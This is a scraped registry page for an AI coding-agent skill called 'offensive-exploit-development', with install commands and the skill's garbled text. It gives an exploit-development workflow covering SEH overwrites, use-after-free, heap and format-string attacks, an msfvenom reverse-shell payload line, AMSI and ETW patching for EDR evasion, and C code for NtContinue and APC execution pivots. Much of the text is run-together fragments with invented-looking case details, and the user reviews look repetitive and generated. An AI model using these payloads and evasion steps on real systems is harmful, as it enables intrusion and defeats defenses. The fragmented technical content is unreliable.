Agent skill / SnailSploit
### offensive-exploit-development
Core file
AI-first code editor with Composer
Before installing skills in Cursor, ensure your development environment meets these requirements:
node --versionoffensive-exploit-developmentExecute the skills CLI command in your project's root directory to begin installation:
Package manager
npx skills add https://github.com/SnailSploit/Claude-Red --skill offensive-exploit-developmentFetches offensive-exploit-development from SnailSploit/Claude-Red and configures it for Cursor.
The CLI shows a list of agents. Use arrow keys and space to select Cursor:
Confirm successful installation by checking the skill directory location:
Restart Cursor to activate offensive-exploit-development. Access via /offensive-exploit-developmentin your agent's command palette.
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your environment. Always review source, verify the publisher, and test in isolation before production.
Submit your Claude Code skill and start earning
Automate repetitive workflows and reduce manual effort
Example
Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Learn new skills, understand complex topics, get expert guidance
Example
Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Enhance output quality through reviews, suggestions, and refinements
Example
Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
Copy the command for your terminal
Package manager
npx skills add https://github.com/SnailSploit/Claude-Red --skill offensive-exploit-developmentWorks with
Exploit development operational guide: environment setup, debugging workflow, PoC development lifecycle, writing reliable exploits, using pwntools/pwndbg, heap exploitation techniques, and weaponization considerations. Use when actively developing exploits or setting up an exploit dev environment.
Use this skill when the conversation involves any of:
exploit development, pwntools, pwndbg, heap exploitation, PoC development, exploit reliability, weaponization, debugging workflow, exploit dev environment
When this skill is active:
flowchart LR
BugId["Bug Identification"] --> Analysis["Vulnerability Analysis"]
Testing["Testing & Refinement"] --> Deployment["Deployment"]
subgraph "Analysis Phase"
direction LR
Root["Root Cause Analysis"]
Trig["Trigger Identification"]
Impact["Impact Assessment"]
end
subgraph "Weaponization Phase"
direction LR
MitBypass["Mitigation Bypass"]
Payload["Payload Development"]
Reliability["Reliability Improvements"]
end
Analysis --> Root
Analysis --> Trig
Analysis --> Impact
Root --> MitBypass
Impact --> Payload
Trig --> Payload
MitBypass --> Payload
Payload --> Reliability
Reliability --> Testing
Testing --> MitBypass
class BugId,Analysis,Testing,Deployment primary
Involves memory on the stack getting corrupted due to improper bounds checking when a memory write operation takes place.
strcpy copies user‐supplied file path into a 256‑byte stack buffer when handling STOR commands.STOR / followed by 420 bytes of A… to overflow the buffer and clobber SEH frame.pop pop ret inside msvcrt.dll; pivot to payload that disables DEP via ROP then spawns a reverse shell.strcpy with strncpy_s and enabling /DYNAMICBASE /GS.ntdll!KiUserExceptionDispatcher is responsible for the exception handling process which itself calls RtlDispatchExceptionRtlDispatchException retrieves the TEB and parses the exception handling linked list using NtTib->ExceptionListSEHOP remains enabled by default.
Load Configuration Directory → GuardEHContinuations in the PE header (e.g., dumpbin /loadconfig or a lief script)./GS, /CETCOMPAT; the classic approach of choosing a module without SafeSEH or ASLR is increasingly rare. Verify per target.RtlpExecuteHandlerForException calls the ntdll!ExecuteHandler2 which in turn calls the actual exception handler function after validationExceptionList starting at the bufferpop-pop-ret sequence to use in the exploit, you also need to identify and remove bad charactersVirtualProtect) or a target module compiled without /guard:cf.The link to something isn't available anymore, so we just replace it with our binary and take over the program.
core::media::AudioRenderer failed to remove a task from the render queue on stream abort, leaving a dangling pointer.AudioContext rapid open‑close loop × 1 000 on Windows 11 23H2.VirtualProtect to run shellcode.std::erase_if queue purge.C++ class and uses virtual functions
vptr is created at compile time and points to a virtual function table vtable/vftableRAX, a call is made to the appropriate offset for the desired virtual functionAudioRingBuffer write corrupts size field of next tcache chunk (glibc 2.40).fd pointer coerces allocator into returning overlapping chunk; arbitrary R/W → GOT hijack → RCE.__builtin_object_size guard (Chromium 123 commit a1b2c3).heap_base, craft overlapping chunks, pivot to arbitrary R/W, then chain to code‑execution.
calloc() now pre‑fills the tcache and safe‑linking checks trigger earlier; the older fastbins‑dupes shortcut no longer works. Use tcache‑stashing‑unlink or House of KIWI instead on 2.41+.NtSetInformationIoRing urb‑array handling leads to write‑what‑where in kernel context.size_t to 32‑bit DWORD across IPC or FFI boundaries can yield negative indexing and oversized allocations; especially common in cross‑arch components.vsnprintf, ...)%n modifier)move esp, r32 or xchg esp, r32EHLO argument directly into syslog() format string.EHLO %43$p|%45$s during SMTP handshake.%n payload to overwrite __free_hook with system()."%s" wrapper and enabling -Wformat-security.A vulnerability where an application processes an object as a different type than intended, leading to memory corruption or logic bypass.
CheckBounds elimination incorrectly assumes array element type during JIT optimization, allowing tagged pointer confusion.SMI/HeapNumber array.length field to achieve OOB R/W; pivot to WASM RWX page for shellcode.dynamic_cast checkspocs/.templates/harness_min.ccscripts/va_aliases.txtscripts/ropper2_workspace.mdtools/badchar_scan.py0x00) and return carriage (0x0D, 0x0A) if in webmsfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=443 EXITFUNC=thread -f c -e x86/shikata_ga_nai -b "<list_of_bad_chars>"
# make sure to precede this payload with some NOPs to create space for the getPC operation(decoding of shikata_ga_nai)
# attackBuffer = filler+eip+offset+nops+shellcode
Check out Shellcode
IBT/CET note (x86‑64): place ENDBR64 at entry for valid indirect targets when IBT is enabled. Example prologue bytes: F3 0F 1E FA.
EtwEventWrite) with ret sleds or stubbed functions while evading PatchGuard.amsi!AmsiScanBuffer) with 0x80070057 (E_INVALIDARG) to short‑circuit scanning.Operational safety checklist (see also EDR):
MEM_IMAGE loaders.MEM_IMAGE loaders.NtContinue, APC queue + SetThreadContext, or SEH/JOP where CET returns are enforced// Minimal NtContinue pivot (ROP‑less) — set RIP/RSP to a safe call target
typedef NTSTATUS (NTAPI *pNtContinue)(PCONTEXT, BOOLEAN);
void pivot_with_ntcontinue(CONTEXT *ctx, void *next_rip, void *new_rsp) {
RtlCaptureContext(ctx);
ctx->Rip = (DWORD64)next_rip; // valid import thunk or allowed GFID target
ctx->Rsp = (DWORD64)new_rsp; // keep shadow‑stack alignment plausible
((pNtContinue)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtContinue"))(ctx, FALSE);
}
// APC + SetThreadContext — schedule execution at an import thunk to satisfy XFG
void apc_setctx(HANDLE hThread, void *start, void *param) {
CONTEXT c = { .ContextFlags = CONTEXT_FULL };
GetThreadContext(hThread, &c);
c.Rip = (DWORD64)start; // e.g., kernel32!LoadLibraryW stub
c.Rcx = (DWORD64)param; // first argument
SetThreadContext(hThread, &c);
QueueUserAPC((PAPCFUNC)start, hThread, (ULONG_PTR)param);
}
MEM_IMAGE‑mapped payloads (ghosting/doppelganging/herpaderping) over MEM_PRIVATE RWXMEM_IMAGE → create process from section.MEM_IMAGE and passes loader checks.All three avoid MEM_PRIVATE payloads that hotpatch checks reject in 24H2 (see Modern Mitigations → OS Loader changes).
| Mitigation | Default platforms (2025) | Protects | Common bypass primitive |
|---|---|---|---|
| DEP / NX | All major OSes | Code execution in data pages | ROP/JOP pivot to RWX or change page permissions |
| ASLR | All | Base‑address disclosure | Info leak + partial overwrite / brute‑force |
| CFG (v1) | Windows 8.1+ | Indirect calls integrity | Abuse writable/exempt module, ret‑slide into target |
| CET Shadow Stack | Windows 10 2004+, Linux 6.1 (x86) | Return‑address integrity | Disable CET (SetProcessMitigationPolicy) or pivot via JOP |
| XFG | Windows 11 22H2+ | Indirect‑call target integrity | Use JOP gadgets or stub out guard function section |
| GuardEHContinuation | Windows 11 24H2 (x64) | SEH overwrite attempts | JOP stub into verified handler region |
| MTE | Android 14+, Linux 6.8 (ARM64) | Heap/stack OOB & UAF | Tag brute‑force or TAGSYNC alias |
| CIG / ACG | Windows 10+ | Unsigned code / RWX pages | Map signed RWX driver or relocate section |
.github/workflows/exploit.yml passes.scripts/repro.shscripts/record_rr.pytools/afl_cov_compare.pyFor SEH exploitation:
# exception data will be inside TEB under NtTib->ExceptionList
dt nt!_TEB
# getting the <exp_addr> of exceptionlist
!teb
# getting the first item in the exception handler linked list, continue to see them using the `Next` param
# the last item should be `ntdll!FinalExceptionHandlerPad`
dt _EXCEPTION_REGISTRATION_RECORD <exp_addr>
# getting more information about the exception
!exchain
# setting a breakpoint on the exceution handler
bp ntdll!ExecuteHandler2
# see what is execution handler doing(use it to identify exploitation point in buffer)
u @eip L11
# to identify bad pods, execute till eip is yours, then
# repeat the process several times to identify all bad chars
dds esp
Prerequisites
Time Estimate
15-45 minutes depending on use case complexity
Steps
Common Pitfalls
✓ Do
✗ Don't
💡 Pro Tips
✓ Use when
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid when
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
SnailSploit/Claude-Red
SnailSploit/Claude-Red
SnailSploit/Claude-Red
SnailSploit/Claude-Red
SnailSploit/Claude-Red
SnailSploit/Claude-Red
offensive-exploit-development reduced setup friction for our internal harness; good balance of opinion and flexibility.
offensive-exploit-development has been reliable in day-to-day use. Documentation quality is above average for community skills.
Registry listing for offensive-exploit-development matched our evaluation — installs cleanly and behaves as described in the markdown.
We added offensive-exploit-development from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
offensive-exploit-development is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
Solid pick for teams standardizing on skills: offensive-exploit-development is focused, and the summary matches what you get after install.
Registry listing for offensive-exploit-development matched our evaluation — installs cleanly and behaves as described in the markdown.
offensive-exploit-development reduced setup friction for our internal harness; good balance of opinion and flexibility.
Useful defaults in offensive-exploit-development — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
Keeps context tight: offensive-exploit-development is the kind of skill you can hand to a new teammate without a long onboarding doc.
showing 1-10 of 51